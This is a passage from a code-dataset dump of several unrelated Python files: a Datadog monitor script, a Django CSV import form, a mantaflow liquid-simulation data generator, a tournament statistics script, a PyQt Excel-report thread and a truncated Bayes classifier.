\"frontend\"]\n\ntry:\n apiResult = api.Monitor.create(\n type=\"metric alert\",\n query=\"avg(last_5m):sum:system.net.bytes_rcvd{host:host0} > 100\",\n name=\"# Bytes received on host0\",\n message=\"We may need to add web hosts if this is consistently high.\",\n tags=tags,\n options=monitor_options)\n print(apiResult)\nexcept:\n print(\"Error\")\n","sub_path":"create_Monitor_python_EU.py","file_name":"create_Monitor_python_EU.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"400717122","text":"# -*- coding: utf-8 -*-\n\nfrom django import forms\nfrom django.utils.translation import gettext as trans\n\nfrom recrutase.importacao.models import Importar\n\nimport os\n\nclass FormImportacao(forms.ModelForm):\n arquivo = forms.FileField(label=trans('Arquivo CSV'))\n \n class Meta:\n fields = ('arquivo',) \n model = Importar\n \n def clean_curriculo(self):\n iArquivo= str(self.cleaned_data[\"arquivo\"])\n if iArquivo in ['', ' ', None, 'None']:\n return self.cleaned_data[\"arquivo\"]\n iExtensaoLista= os.path.splitext(iArquivo)\n iExtensao= iExtensaoLista[len(iExtensaoLista)-1]\n iExtensao = iExtensao.lower()\n if iExtensao not in ['.csv',]:\n raise forms.ValidationError(\"Formato não permitido, é necessário que o arquivo esteja em CSV!\")\n else:\n return self.cleaned_data[\"arquivo\"] \n \n def __init__(self, *args, **kwargs):\n super(FormImportacao, self).__init__(*args, **kwargs)\n self.fields['arquivo'].required = True\n self.fields['arquivo'].error_messages['required'] = trans(u'O campo arquivo é obrigatório') \n \nclass FormColunas(forms.Form): \n \n def __init__(self, *args, **kwargs):\n iListaColunas = []\n iListaColunas.append((0, 'selecione'))\n iLista = []\n for i, iValor in enumerate(kwargs.pop('iListaColunas')):\n iLista.append((i+1, iValor))\n iListaColunas = iListaColunas + iLista\n super(FormColunas, self).__init__(*args, **kwargs)\n iLista = []\n iLista.append((1, 'CPF'))\n iLista.append((2, 'Nome'))\n iLista.append((3, 'Sobrenome'))\n iLista.append((4, 'Email'))\n iLista.append((5, 'Telefone'))\n iLista.append((6, 'Celular'))\n iLista.append((7, 'Endereco'))\n iLista.append((8, 'Cidade'))\n iLista.append((9, 'UF'))\n iLista.append((10, 'Nascimento'))\n for i, iColuna in enumerate(iLista):\n self.fields[iColuna[1].lower()] = forms.ChoiceField(label='%s'%str(iColuna[1]))\n self.fields[iColuna[1].lower()].choices = iListaColunas\n if i in [1,2,3,5,8,9]:\n self.fields[iColuna[1].lower()].required = True\n self.fields[iColuna[1].lower()].label = '%s*' % str(iColuna[1])\n else:\n self.fields[iColuna[1].lower()].required = False\n self.fields[iColuna[1].lower()].label = '%s' % str(iColuna[1])\n","sub_path":"PyProject_Recrutase/recrutase/importacao/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"501386169","text":"import argparse\nimport sys\nfrom datetime import datetime\nimport time\nimport os\nfrom tqdm import trange\nimport math\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom collections import deque\n\nimport gc\ntry:\n\tfrom manta import *\nexcept ImportError:\n\tpass\n\nimport sys,inspect\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\nsys.path.insert(0,parentdir)\n\nfrom scene_storage import *\n\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"--log_dir\", type=str, default='data/liquid{}-{}-{}_pos_size{}_f{}')\n\nparser.add_argument(\"--num_param\", type=int, default=4)\nparser.add_argument(\"--path_format\", type=str, default='%d_%d.npz')\nparser.add_argument(\"--screenshot_path_format\", type=str, default='%d_%d.jpg')\n\nparser.add_argument(\"--p0\", type=str, default='scenes')\nparser.add_argument(\"--p1\", type=str, default='frames')\nparser.add_argument(\"--p2\", type=str, default='src_x_pos')\nparser.add_argument(\"--p3\", type=str, default='src_radius')\n\nnum_s = 200\nnum_f = 600\nnum_sim = num_s*num_f\n\nparser.add_argument(\"--num_src_x_pos\", type=int, default=num_f)\nparser.add_argument(\"--min_src_x_pos\", type=float, default=0.2)\nparser.add_argument(\"--max_src_x_pos\", type=float, default=0.8)\nparser.add_argument(\"--num_src_radius\", type=int, default=num_f)\nparser.add_argument(\"--min_src_radius\", type=float, default=0.04)\nparser.add_argument(\"--max_src_radius\", type=float, default=0.08)\n\nparser.add_argument(\"--min_scenes\", type=int, default=0)\nparser.add_argument(\"--max_scenes\", type=int, default=num_s-1)\nparser.add_argument(\"--num_scenes\", type=int, default=num_s)\nparser.add_argument(\"--min_frames\", type=int, default=0)\nparser.add_argument(\"--max_frames\", type=int, default=num_f-1)\nparser.add_argument(\"--num_frames\", type=int, default=num_f)\nparser.add_argument(\"--num_simulations\", type=int, default=num_sim)\n\nparser.add_argument(\"--resolution_x\", type=int, default=32)\nparser.add_argument(\"--resolution_y\", type=int, default=24)\nparser.add_argument(\"--resolution_z\", type=int, default=1)\nparser.add_argument(\"--gravity\", type=float, default=-1e-3)\nparser.add_argument(\"--radius_factor\", type=float, default=1)\nparser.add_argument(\"--min_particles\", type=int, default=2)\nparser.add_argument(\"--bWidth\", type=int, default=1)\nparser.add_argument(\"--open_bound\", type=bool, default=False)\nparser.add_argument(\"--time_step\", type=float, default=0.5)\nparser.add_argument(\"--accuracy\", type=float, default=1e-3)\n\nparser.add_argument(\"--src_y_pos\", type=float, default=0.6)\nparser.add_argument(\"--basin_y_pos\", type=float, default=0.2)\n\nparser.add_argument('--output_images', action='store_true')\nparser.add_argument('--show_gui', action='store_true')\nparser.add_argument('--dont_delete_images', action='store_true')\n\nargs = parser.parse_args()\nargs.log_dir = args.log_dir.format(args.resolution_x, args.resolution_y, args.resolution_z, args.num_scenes, args.num_frames)\nargs.log_dir = args.log_dir if args.resolution_z <= 1 else args.log_dir + \"_3d\"\nargs.max_scenes = args.num_scenes - 1\nargs.max_frames = args.num_frames - 1\nargs.num_simulations = args.num_scenes * args.num_frames\nargs.num_src_x_pos = args.num_frames\nargs.num_src_radius = args.num_frames\n\nis_3d = args.resolution_z > 1\ndont_delete_images = args.dont_delete_images\n\ndef main():\n\tfield_type = ['v', 'l']\n\tprepare_simulation_directory(args, field_type)\n\n\tp1_space = np.linspace(args.min_src_x_pos, \n\t\t\t\t\t\t args.max_src_x_pos,\n\t\t\t\t\t\t int(1.0 + math.sqrt(args.num_scenes)) )\n\tp2_space = np.linspace(args.min_src_radius,\n\t\t\t\t\t\t args.max_src_radius,\n\t\t\t\t\t\t int(1.0 + math.sqrt(args.num_scenes)) )\n\tp_list = np.array(np.meshgrid(p1_space, p2_space)).T.reshape(-1, 2)\n\n\t# create solver\n\tm = initialize_manta(args)\n\n\tgravity = vec3(0, args.gravity, 0)\n\n\tv_ = np.zeros([m.res_z, m.res_y, m.res_x, 3], \tdtype=np.float32)\n\tl_ = np.zeros([m.res_z, m.res_y, m.res_x], \t\tdtype=np.float32)\n\n\t# flip\n\tm.velOld \t= m.s.create(MACGrid)\n\tm.tmpVec3 \t= m.s.create(VecGrid)\n\tm.pp \t\t= m.s.create(BasicParticleSystem) \n\tm.pVel \t\t= m.pp.create(PdataVec3)\n\t# acceleration data for particle nbs\n\tm.pindex \t= m.s.create(ParticleIndexSystem) \n\tm.gpi \t\t= m.s.create(IntGrid)\n\n\tprint('start generation')\n\tsim_id = 0\n\tv_range = [np.finfo(np.float).max, np.finfo(np.float).min]\n\tl_range = [np.finfo(np.float).max, np.finfo(np.float).min]\n\n\tp0_list = []\n\tp1_list = []\n\tfor i in trange(args.num_scenes, desc='scenes'):\n\t\tp = p_list[i]\n\n\t\tp0_deq = deque([-1]*args.num_frames, args.num_frames)\n\t\tp1_deq = deque([-1]*args.num_frames, args.num_frames)\n\n\t\tstart_time = time.time()\n\t\t\n\t\tm.flags.initDomain(boundaryWidth=args.bWidth)\n\t\tif args.open_bound:\n\t\t\tsetOpenBound(m.flags, args.bWidth,'xXyY', FlagOutflow|FlagEmpty)\n\n\t\tm.vel.clear()\n\t\tm.pressure.clear()\n\t\t\n\t\tm.velOld.clear()\n\t\tm.tmpVec3.clear()\n\t\n\t\tm.pp.clear()\n\t\tm.pVel.clear()\n\n\t\tfluidBasin = Box(parent=m.s, p0=m.gs*vec3(0,0,0), p1=m.gs*vec3(1.0,args.basin_y_pos,1.0)) # basin\n\t\tdropCenter = vec3(p[0],args.src_y_pos,0.5)\n\t\tdropRadius = p[1]\n\t\tfluidDrop = Sphere(parent=m.s, center=m.gs*dropCenter, radius=m.gs.x*dropRadius)\n\t\tphi = fluidBasin.computeLevelset()\n\t\tphi.join(fluidDrop.computeLevelset())\n\n\t\tm.flags.updateFromLevelset(phi)\n\t\tsampleLevelsetWithParticles(phi=phi, flags=m.flags, parts=m.pp, discretization=2, randomness=0.05)\n\n\t\tfluidVel = Sphere(parent=m.s, center=m.gs*dropCenter, radius=m.gs.x*(dropRadius+0.05))\n\t\tfluidSetVel = vec3(0,-1,0)\n\t\t\n\t\t# set initial velocity\n\t\tfluidVel.applyToGrid(grid=m.vel, value=fluidSetVel)\n\t\tmapGridToPartsVec3(source=m.vel, parts=m.pp, target=m.pVel)\n\n\t\tfor t in range(args.num_frames):\n\t\t\t# FLIP \n\t\t\tm.pp.advectInGrid(flags=m.flags, vel=m.vel, integrationMode=IntRK4, deleteInObstacle=False)\n\t\t\t# make sure we have velocities throught liquid region\n\t\t\tmapPartsToMAC(vel=m.vel, flags=m.flags, velOld=m.velOld, parts=m.pp, partVel=m.pVel, weight=m.tmpVec3) \n\t\t\textrapolateMACFromWeight(vel=m.vel, distance=2, weight=m.tmpVec3) # note, tmpVec3 could be free'd now...\n\t\t\tmarkFluidCells(parts=m.pp, flags=m.flags)\n\n\t\t\t# create approximate surface level set, resample particles\n\t\t\tgridParticleIndex(parts=m.pp , flags=m.flags, indexSys=m.pindex, index=m.gpi)\n\t\t\tunionParticleLevelset(m.pp, m.pindex, m.flags, m.gpi, phi, args.radius_factor) \n\t\t\tresetOutflow(flags=m.flags, parts=m.pp, index=m.gpi, indexSys=m.pindex) \n\t\t\tcopyGridToArrayLevelset(target=l_, source=phi)\n\t\t\t\n\t\t\t# extend levelset somewhat, needed by particle resampling in adjustNumber\n\t\t\textrapolateLsSimple(phi=phi, distance=4, inside=True); \n\n\t\t\t# forces & pressure solve\n\t\t\taddGravity(flags=m.flags, vel=m.vel, gravity=gravity)\n\t\t\tsetWallBcs(flags=m.flags, vel=m.vel)\n\t\t\tsolvePressure(flags=m.flags, vel=m.vel, pressure=m.pressure, cgAccuracy=args.accuracy, phi=phi)\n\t\t\tsetWallBcs(flags=m.flags, vel=m.vel)\n\n\t\t\t# set source grids for resampling, used in adjustNumber!\n\t\t\tm.pVel.setSource(m.vel, isMAC=True)\n\t\t\tadjustNumber(parts=m.pp, vel=m.vel, flags=m.flags, minParticles=args.min_particles, maxParticles=2*args.min_particles, phi=phi, radiusFactor=args.radius_factor)\n\n\t\t\t# save before extrapolation\n\t\t\tcopyGridToArrayMAC(target=v_, source=m.vel)\n\n\t\t\t# make sure we have proper velocities\n\t\t\textrapolateMACSimple(flags=m.flags, vel=m.vel, distance=4)\n\t\t\tflipVelocityUpdate(vel=m.vel, velOld=m.velOld, flags=m.flags, parts=m.pp, partVel=m.pVel, flipRatio=0.97)\n\t\t\t\n\t\t\tp0_deq.append(p[0])\n\t\t\tp1_deq.append(p[1])\n\n\t\t\tparam_ = [list(p0_deq), list(p1_deq)]\n\n\t\t\t# Store fields to disk\n\t\t\tv_range = save_npz(v_[...,:3 if is_3d else 2], v_range, 'v', i, t, param_, args)\n\t\t\tl_range = save_npz(l_, l_range, 'l', i, t, param_, args)\n\n\t\t\tm.s.step()\n\n\t\t\tif args.output_images:\n\t\t\t\tscreenshot(m.gui, args.log_dir, t + i * args.num_frames, density=phi, scale=1.0)\n\n\t\t\tsim_id += 1\n\n\t\tp0_list.append(param_[0])\n\t\tp1_list.append(param_[1])\n\n\t\tgc.collect()\n\t\tduration = time.time() - start_time\n\n\tif args.output_images:\n\t\tconvert_sequence( os.path.join(args.log_dir, 'screenshots'), output_name=args.log_dir.rsplit(\"/\",1)[-1], file_format=\"%06d.jpg\" if m.gui else \"%06d.ppm\", delete_images=not dont_delete_images )\n\n\tn_path = os.path.join(args.log_dir, 'n.npz')\n\tnp.savez_compressed(n_path, nx=p0_list, nz=p1_list)\n\n\t# Store data range\n\tsave_range(v_range, \"v\", args)\n\tsave_range(l_range, \"l\", args)\n\n\tprint('Done')\n\n\nif __name__ == '__main__':\n main()","sub_path":"scene/experimental/liquid_pos_size.py","file_name":"liquid_pos_size.py","file_ext":"py","file_size_in_byte":8329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"11606007","text":"import re\nimport pandas as pd\n\n# read data\nwith open('results.md','r') as fh:\n\ttext = fh.read()\n\n# split sections and heuristic labels\nheuristics = re.findall(r'''\\#\\# (.+)''', text)\n\nchunks = re.split(r'''\\#\\# .+''', text)[1:]\nchunks = [re.findall(r'''Match .+\\n''', x) for x in chunks]\n\nsplit_chunks = [re.findall(r'''Match ([1-7]):\\s+(\\w+)\\s+vs\\s+(\\w+)\\s+Result: (\\d+) to (\\d+)''', \n ''.join(x)) for x in chunks]\n\n# create dataframes from sections\ncols = ['match','opp1','opp2','wins','losses']\nsplit_df = [pd.DataFrame(x, columns=cols) for x in split_chunks]\n\n\nfor heur,df in zip(heuristics, split_df):\n\tdf['heuristic'] = heur\n\ndata = pd.concat(split_df).reset_index(drop=True)\ndata = data[['heuristic'] + cols]\n\ndata['wins'] = data.wins.astype('int')\ndata['losses'] = data.losses.astype('int')\ndata['games'] = data.wins + data.losses\n\n# calculate statistics\nstats = data.groupby(['heuristic','opp1']).agg({'wins':sum, 'losses':sum})\nstats['percent'] = stats.wins.astype('float') / 1400\n\nprint(stats)","sub_path":"get_tournament_stats.py","file_name":"get_tournament_stats.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"88094504","text":"import os\r\nfrom PyQt5.QtGui import QImage\r\nfrom PyQt5.QtCore import Qt, QThread, pyqtSignal, pyqtSlot, QFile, QDate, QDir, QFileInfo\r\nimport statistics \r\n\r\nfrom Excell import Excel_Report\r\n\r\n'''\r\nClass: excelThread\r\n\tWorker thread to handle populating an excel sheet\r\n\r\nParameters: \r\n\tQThread - inherits QThread attributes\r\n'''\r\nclass excelThread(QThread):\r\n\tsendReportName = pyqtSignal(str, bool)\r\n\tsendOutput = pyqtSignal(str)\r\n\r\n\t'''\r\n\tFunction: __init__\r\n\t\tSets initial values\r\n\t'''\t\r\n\tdef __init__(self):\r\n\t\tQThread.__init__(self)\r\n\t\tself.reportPath = \"\"\r\n\t\tself.name = \"\"\r\n\t\tself.dataAnalyDIR = \"\"\r\n\t\tself.state = False\r\n\t\tself.DAstate = False\r\n\t\tself.datasheet_dict = {}\r\n\t\tself.excel = Excel_Report()\r\n\t\tself.protocolHeader = [\"Section\", \"Min\", \"Max\", \"Unit\", \"Value\", \"Result\", \"Comment\"]\r\n\t\tself.equipmentHeader = [\"Name\", \"Model\", \"ID\", \"Calibration ID\", \"Cal Due Date\"]\r\n\t\tself.toolHeader = [\"Name\", \"Version\"]\r\n\t\tself.materialHeader = [\"Name\", \"Serial Number\", \"Revision\", \"Firmware\", \"Software\"]\r\n\r\n\t'''\r\n\tFunction: setDataAnalysis\r\n\t\tSet worker thread to perform data analysis\r\n\r\n\tParameters: \r\n\t \tdataDIR - DIR of all reports for data analysis \r\n\t \tDAstate - set state to start worker thread\r\n\t'''\r\n\tdef setDataAnalysis(self, dataDIR, state):\r\n\t\tself.dataAnalyDIR = dataDIR\r\n\t\tself.DAstate = state\r\n\r\n\t'''\r\n\tFunction: setGenerateExcel\r\n\t\tSet worker thread to generate excel file\r\n\r\n\tParameters: \r\n\t \toutputDict - output dictionary to populate excel report \r\n\t \texportPath - report export network path\r\n\t \treportName - name for report\r\n\t \tstate \t - set state to start worker thread\r\n\t'''\r\n\tdef setGenerateExcel(self, outputDict, exportPath, reportName, state):\r\n\t\tself.datasheet_dict = outputDict\r\n\t\tself.reportPath = exportPath\r\n\t\tself.name = reportName\r\n\t\tself.state = state\r\n\t\t\r\n\t'''\r\n\tFunction: run\r\n\t\tThis function is started by.start() and runs the main portion of the code\r\n\t'''\r\n\tdef run(self):\r\n\t\tself.setPriority(QThread.HighestPriority)\r\n\r\n\t\t# ---------- Excel Report ----------\r\n\t\tif self.state:\r\n\t\t\t# create excel sheet and set header\r\n\t\t\topenFile = self.excel.startExcelSheet(\tself.reportPath, \r\n\t\t\t\t\t\t\t\t\t\t\t\t\tself.name, \r\n\t\t\t\t\t\t\t\t\t\t\t\t\tself.datasheet_dict.get('Serial Number'), \r\n\t\t\t\t\t\t\t\t\t\t\t\t\tself.datasheet_dict.get('Protocol Name'))\r\n\r\n\t\t\t# row to start populating data\r\n\t\t\trow = 4\r\n\r\n\t\t\t# Equipment Used section\r\n\t\t\tif (len(self.datasheet_dict.get('Equipment')) > 0):\r\n\t\t\t\t\r\n\t\t\t\t# add header\r\n\t\t\t\trow = self.excel.addHeaderRow(row, 1, \"Equipment\", self.equipmentHeader)\r\n\r\n\t\t\t\t# add content\r\n\t\t\t\tfor i in self.datasheet_dict['Equipment']:\r\n\t\t\t\t\tif (i.get('Name') != \"\"):\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Name'), row, 1)\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Model'), row, 2)\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('ID'), row, 3)\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Cal ID'), row, 4)\r\n\r\n\t\t\t\t\t\t# color out of calibration equipment red\r\n\t\t\t\t\t\tif (i.get('Cal Due Date') != \"\"):\r\n\t\t\t\t\t\t\tdate = QDate.fromString(i.get('Cal Due Date'), \"MMM d, yyyy\") \r\n\t\t\t\t\t\t\tif (date < QDate.currentDate()):\r\n\t\t\t\t\t\t\t\tself.excel.colorCellFail(row, 5)\r\n\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Cal Due Date'), row, 5)\r\n\t\t\t\t\t\trow += 1\r\n\t\t\trow += 1\r\n\r\n\t\t\t# Tools section\r\n\t\t\tif (len(self.datasheet_dict.get('Tools')) > 0):\r\n\r\n\t\t\t\t# add header\r\n\t\t\t\trow = self.excel.addHeaderRow(row, 1, \"Tools\", self.toolHeader)\r\n\r\n\t\t\t\t# add content\r\n\t\t\t\tfor i in self.datasheet_dict['Tools']:\r\n\t\t\t\t\tif (i.get('Name') != \"\"):\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Name'), row, 1)\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Version'), row, 2)\r\n\t\t\t\t\t\trow += 1\r\n\t\t\trow += 1\r\n\r\n\t\t\t# Materials section\r\n\t\t\tif (len(self.datasheet_dict.get('Material')) > 0):\r\n\r\n\t\t\t\t# add header\r\n\t\t\t\trow = self.excel.addHeaderRow(row, 1, \"Materials\", self.materialHeader)\r\n\r\n\t\t\t\t# add content\r\n\t\t\t\tfor i in self.datasheet_dict['Material']:\r\n\t\t\t\t\tif (i.get('Name') != \"\"):\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Name'), row, 1)\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Serial Number'), row, 2)\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Revision'), row, 3)\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Firmware'), row, 4)\r\n\t\t\t\t\t\tself.excel.writeExcelEntry(i.get('Software'), row, 5)\r\n\t\t\t\t\t\trow += 1\r\n\t\t\trow += 1\r\n\r\n\t\t\t# write protocol header\r\n\t\t\trow = self.excel.addHeaderRow(row, 1, \"Test Procedure\", self.protocolHeader)\r\n\r\n\t\t\t# populate excel report\r\n\t\t\tfor i in self.datasheet_dict[\"Procedure\"]:\r\n\t\t\t\tself.excel.writeExcelEntry(i.get('Section'), row, 1)\r\n\t\t\t\tself.excel.writeExcelEntry(i.get('Min'), row, 2)\r\n\t\t\t\tself.excel.writeExcelEntry(i.get('Max'), row, 3)\r\n\t\t\t\tself.excel.writeExcelEntry(i.get('Unit'), row, 4)\r\n\t\t\t\tif (i.get('Value')== \"\"):\r\n\t\t\t\t\tself.excel.writeExcelEntry('N/A', row, 5)\r\n\t\t\t\telse:\r\n\t\t\t\t\tself.excel.writeExcelEntry(i.get('Value'), row, 5)\r\n\t\t\t\tself.excel.writeExcelEntry(i.get('Result'), row, 6)\r\n\r\n\t\t\t\t# color fails red\r\n\t\t\t\tif (i.get('Result') == 'F'):\r\n\t\t\t\t\tself.excel.colorCellFail(row, 6)\r\n\t\t\t\tself.excel.writeExcelEntry(i.get('Comment'), row, 7)\r\n\t\t\t\trow += 1\r\n\r\n\t\t\trow += 2\r\n\r\n\t\t\t# input last row\r\n\t\t\tself.excel.writeSignature(row)\r\n\r\n\t\t\t# save excel report/ emit error \r\n\t\t\ttry:\r\n\t\t\t\treportname = self.excel.SaveSheet(openFile)\r\n\t\t\t\tself.sendReportName.emit(reportname, True)\r\n\t\t\t\t\r\n\t\t\t# error is sheet is opened by user and trying to save\r\n\t\t\texcept PermissionError as e:\r\n\t\t\t\tself.sendReportName.emit(\"FAILED: Please Close Opened Excel Sheet\", False)\r\n\r\n\t\t\tself.state = False\r\n\r\n\t\t# ---------- Data Analysis ----------\r\n\t\tif self.DAstate:\r\n\t\t\t# put reports in folder in a local list\r\n\t\t\tDataAnalysisDIR = QDir(self.dataAnalyDIR)\r\n\t\t\treportList = DataAnalysisDIR.entryList(QDir.Files, QDir.Time)\r\n\t\t\treportDataList = []\r\n\r\n\t\t\t# Start data analysis sheet\r\n\t\t\toutputSheetName = self.excel.startDataAnalysis(self.dataAnalyDIR)\r\n\r\n\t\t\t# get base name to not parse\r\n\t\t\tbaseReportName = QFileInfo(outputSheetName)\r\n\t\t\t\r\n\t\t\t# iterate through each report and append result data dicts to a list\r\n\t\t\tfor report in reportList:\r\n\t\t\t\tif (report.endswith('.xlsx') and report != baseReportName.baseName() + '.xlsx'):\r\n\t\t\t\t\tinputReport = self.dataAnalyDIR + '/' + report\r\n\t\t\t\t\tresultDict = self.excel.parseReport(inputReport)\r\n\t\t\t\t\treportDataList.append(resultDict)\r\n\r\n\t\t\t# declare local variable for populating data analysis\r\n\t\t\tserNumList = []\r\n\t\t\trow = 3\r\n\t\t\tdataCol = 5\r\n\t\t\tnumTests = len(reportDataList[0][\"Section\"])\r\n\t\t\tnumReports = len(reportDataList)\r\n\r\n\t\t\t# add serial numbers in list for header\r\n\t\t\tfor i in range(0, numReports):\r\n\t\t\t\tserNumList.append(reportDataList[i].get(\"Serial Number\"))\r\n\r\n\t\t\t# write header to data analysis\r\n\t\t\trow = self.excel.addHeaderRow(row, dataCol, \"Serial Numbers\", serNumList)\r\n\t\t\tself.excel.addSingleHeader(row - 1, 4, \"Unit\")\r\n\t\t\tself.excel.addSingleHeader(row - 1, 3, \"Max\")\r\n\t\t\tself.excel.addSingleHeader(row - 1, 2, \"Min\")\r\n\t\t\tself.excel.addSingleHeader(row - 1, 1, \"Section\")\r\n\r\n\t\t\t# populate with report data\r\n\t\t\tfor test in range(0, numReports):\r\n\t\t\t\tfor i in range(0, numTests):\r\n\t\t\t\t\tself.excel.writeExcelEntry(reportDataList[test][\"Section\"][i], row + i, 1)\r\n\t\t\t\t\tself.excel.writeExcelEntry(reportDataList[test][\"Min\"][i], row + i, 2)\r\n\t\t\t\t\tself.excel.writeExcelEntry(reportDataList[test][\"Max\"][i], row + i, 3)\r\n\t\t\t\t\tself.excel.writeExcelEntry(reportDataList[test][\"Unit\"][i], row + i, 4)\r\n\t\t\t\t\tself.excel.writeExcelEntry(reportDataList[test][\"Value\"][i], row + i, dataCol + test)\r\n\r\n\t\t\t\t\t# color failed tests red\r\n\t\t\t\t\tif (reportDataList[test][\"Result\"][i] == \"F\"):\r\n\t\t\t\t\t\tself.excel.colorCellFail(row + i, dataCol + test)\r\n\r\n\t\t\t# add in Data Analysis columns\r\n\t\t\tstanDevCol \t= dataCol + numReports\r\n\t\t\tminCol \t\t= dataCol + numReports + 1\r\n\t\t\tmaxCol\t\t= dataCol + numReports + 2\r\n\t\t\theaderRow \t= row - 1\r\n\t\t\tcurrRow\t\t= row\r\n\t\t\ttestIndex \t= 0\r\n\r\n\t\t\tself.excel.addSingleHeader(headerRow, stanDevCol, \"Standard Deviation\")\r\n\t\t\tself.excel.addSingleHeader(headerRow, minCol, \"Min\")\r\n\t\t\tself.excel.addSingleHeader(headerRow, maxCol, \"Max\")\r\n\r\n\t\t\t# iterate all tests and get list of values of each test\r\n\t\t\ttestDataList = self.excel.getTestDataList(numTests, numReports, currRow, dataCol)\r\n\r\n\t\t\t# perform analysis\r\n\t\t\tfor test in testDataList:\r\n\r\n\t\t\t\tif ('N/A' in test):\r\n\t\t\t\t\tself.excel.writeExcelEntry(\"N/A\", currRow, stanDevCol)\r\n\t\t\t\t\tself.excel.writeExcelEntry(\"N/A\", currRow, minCol)\r\n\t\t\t\t\tself.excel.writeExcelEntry(\"N/A\", currRow, maxCol)\r\n\r\n\t\t\t\telse:\r\n\t\t\t\t\tstandardDeviation = statistics.stdev(testDataList[testIndex])\r\n\t\t\t\t\tminimumVal = min(testDataList[testIndex])\r\n\t\t\t\t\tmaximumVal = max(testDataList[testIndex])\r\n\t\t\t\t\tself.excel.writeExcelEntry(standardDeviation, currRow, stanDevCol)\r\n\t\t\t\t\tself.excel.writeExcelEntry(minimumVal, currRow, minCol)\r\n\t\t\t\t\tself.excel.writeExcelEntry(maximumVal, currRow, maxCol)\r\n\r\n\t\t\t\t# increment current row and test index\r\n\t\t\t\tcurrRow += 1 \r\n\t\t\t\ttestIndex += 1\r\n\r\n\t\t\t# get standard deviation column\r\n\t\t\tstanDevData = self.excel.getDataColumn(numTests, row, stanDevCol)\r\n\r\n\r\n\t\t\tprint(stanDevData)\r\n\r\n\r\n\r\n\t\t\t# make bar graph --- UPDATE FUNCTION\r\n\t\t\tself.excel.createBarGraph(row, numTests, stanDevCol)\r\n\r\n\t\t\t# for i in range(0, numTests):\r\n\t\t\t# \tfor test in range(0, numReports):\r\n\t\t\t# \t\tprint(\"Test: \" + str(test))\r\n\t\t\t# \t\tprint(\"Result: \" + str(reportDataList[test][\"Result\"][i]))\r\n\t\t\t# \t\tprint(\"Value: \" + str(reportDataList[test][\"Value\"][i]))\r\n\r\n\t\t\t# save data analysis sheet/ emit error \r\n\t\t\ttry:\r\n\t\t\t\treportname = self.excel.SaveSheet(outputSheetName)\r\n\t\t\t\tself.sendOutput.emit(\"\")\r\n\t\t\t\tself.sendOutput.emit(\"Data Analysis Successful!\")\r\n\t\t\t\tself.sendOutput.emit(\"Saved As: \" + reportname)\r\n\r\n\t\t\t# error is sheet is opened by user and trying to save\r\n\t\t\texcept PermissionError as e:\t\r\n\t\t\t\tself.sendOutput.emit(\"\")\r\n\t\t\t\tself.sendOutput.emit(\"FAILED: Please Close Opened Excel Sheet\")\r\n\t\t\t\tself.sendOutput.emit(str(e))\r\n\r\n\t\t\tself.DAstate = False","sub_path":"excelThread.py","file_name":"excelThread.py","file_ext":"py","file_size_in_byte":9751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"69290535","text":"import numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\nclasses=[]\nclassesRange=[]\ntestData=[]\nmean=[]\nvariance=[]\ndimension=2\nconfusionMatClass=[]\nconfusionMatrix=[]\ncovarianceMatrix=np.zeros(shape=(dimension,dimension))\ncovarianceMatrixInv=np.zeros(shape=(dimension,dimension))\naverage_variance=0\n\ndef calcPrereq(filename):\n\tfile=open(filename)\n\tdata=[]\n\tfor line in file:\n\t\tnumber_strings=line.split()\n\t\tnumbers=[float(n) for n in number_strings]\n\t\tdata.append(numbers)\n\ttempClass=np.array(data)\n\ttempClassRange=[]\n\ttempClassRange.append(np.amin(tempClass,axis=0))\n\ttempClassRange.append(np.amax(tempClass,axis=0))\n\tdata_train=[data[i] for i in range(long(0.75*len(tempClass)))]\n\ttempTestData=[data[i] for i in range(long(0.75*len(tempClass)),len(tempClass))]\n\ttempClassTrain=np.array(data_train)\n\ttempMean=tempClassTrain.mean(axis=0)\n\ttempVariance=[0,0]\n\tfor j in range(len(tempMean)):\n\t\tsumj=0\n\t\tfor i in range(len(tempClassTrain)):\n\t\t\tsumj+=(tempClassTrain[i][j]-tempMean[j])*(tempClassTrain[i][j]-tempMean[j]);\n\t\ttempVariance[j]=sumj/len(tempClassTrain)\n\tclasses.append(tempClassTrain)\n\tmean.append(tempMean)\n\tvariance.append(tempVariance)\n\ttestData.append(tempTestData)\n\tclassesRange.append(tempClassRange)\n\ndef gi(x):\n\tval=[0 for i in range(len(classes))]\n\tfor i in range(len (classes)):\n\t\tval[i]=-1.0/2.0/average_variance;\n\t\tfirst_term=0;\n\t\tfor j in range(dimension):\n\t\t\tfirst_term+=(x[j]-mean[i][j])*(x[j]-mean[i][j])\n\t\tval[i]*=first_term\n\t\ttot=0\n\t\tfor j in range(len(classes)):\n\t\t\ttot+=len(classes[j])\n\t\tval[i]+=math.log(float(len(classes[i]))/tot)\n\treturn np.argmax(val)\n\ndef g(x,first,second):\n\tval=1.0/2.0/average_variance;\n\tfirst_term=0;\n\tfor i in 